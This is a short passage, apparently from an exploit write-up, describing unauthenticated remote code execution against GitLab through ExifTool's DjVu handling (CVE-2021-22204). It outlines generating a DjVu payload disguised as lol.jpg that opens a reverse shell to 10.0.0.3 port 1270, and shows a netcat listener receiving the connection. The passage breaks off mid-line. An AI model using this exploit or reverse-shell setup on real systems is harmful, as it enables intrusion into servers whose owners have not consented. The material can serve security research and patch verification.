Code execution is the result of GitLab allowing remote unauthenticated attackers to provide DjVu files to ExifTool (see: CVE-2021-22204). As such, exploitation of GitLab takes two steps. First generating the payload and then sending it.
1. Generating the payload. This generates a DjVu image named lol.jpg that will trigger a reverse shell to 10.0.0.3 port 1270.
$ nc -lnvp 1270
Listening on [0.0.0.0] (family 0, port 1270)
Connection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport
